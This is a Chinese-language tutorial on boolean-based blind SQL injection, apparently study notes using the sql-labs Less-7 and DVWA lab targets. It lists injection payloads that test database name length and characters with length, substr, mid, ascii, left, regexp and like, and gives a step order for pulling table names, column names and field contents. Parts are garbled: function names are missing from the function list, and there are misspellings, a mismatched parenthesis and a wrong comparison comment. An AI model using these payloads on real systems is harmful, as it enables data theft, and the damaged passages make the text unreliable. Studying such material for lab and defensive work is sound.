布尔盲注

时间:2025-05-14 07:42:17

一.布尔盲注原理:

布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,
构造SQL语句,
利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,
从而达到注入的目的来获取信息的一种方法

没有错误提示 也没有回显 但是输入错误的话页面会有反应 也就是说 只有 true 和false
例如 :sql-labs /less-7 它只有两种提示 所以可以用布尔盲注

playload:and length(database()) =8 --+ /判断数据库名长度
是否等于8
如果不等于
则返回
等于的话就是开始页面

and ascll(substr(database(),1,1)) >100
/这里substr(char,number,numbr)

第一个参数是要截取的字符串

第二个参数是从那一位开始

第三个参数是截取几个 (我们要一位一位的判断所以此处恒为1)

二.判断语句:

1’ and length(database())>3#

1’ and length(database())=5 #

1’ and mid(database(),1,1)=‘d’ # 判断单个字符

1’ and substr(database(),1,1)=‘d’ # 判断单个字符

1’ and ord(substr((select database()),1,1))=98 # 使用ascii码判断单个字符

1’ and ascii(substr((select database()),1,1))=98 # 使用ascii判断单个字符

1’ and left(database(),4)=‘dvwa’ # 判断一个字符串,即多个字符

三.基础语句:

一.
()函数:统计查询结果的数量;
(str)函数:返回字符串 str的长度;
()函数: left(database(),1)=‘s’ left(a,b)从左侧截取a的前b位,正确则返回1,错误返回0
left((select database()),1)=‘s’ 同样的意思
: select user() regexp ‘r’; user()的结果是root@localhost,regexp为匹配root的正则表达式
: select user() like ‘ro%’; 匹配与regexp相似
(a,b,c): select substr() xxxx; substr(a,b,c)从位置b开始,截取a字符串的c位长度
(a,b,c): select mid(user(),1,2); mid(a,b,c)从位置b开始,截取a字符串的c位长度
() 将某个字符转化为其ascii值
0,1:元素索引是从0开始(不是1) 从元素索引位置为1的数据(即第2位)开始输出一个值
二.
对于security库:
left(database(),1)=‘s’;前1位是否是s
database() regexp ‘s’; 匹配第一个字符是否是s
database() like ‘s%’; 匹配是否是以s开头
substr((select database()),1,1)=‘s’; 匹配第一个字符是否是s
substr((select database()),1,3)=‘sec’; 匹配前3个字符是否是sec
ascii(substr((select database()),1,1)); 直接回显115 或者是空:
ascii(substr(select database()),1,1))>110; 如果大于100,就返回1,否中返回0

四.使用顺序:

1.求当前数据库长度

2.求当前数据库表的ASCII

3.求当前数据库中表的个数

4.求当前数据库中其中一个表名的长度

5.求当前数据库中其中一个表名的ASCII

6.求列名的数量

7.求列名的长度

8.求列名的ASCII

9.求字段的数量

10.求字段内容的长度

11.求字段内容对应的ASCII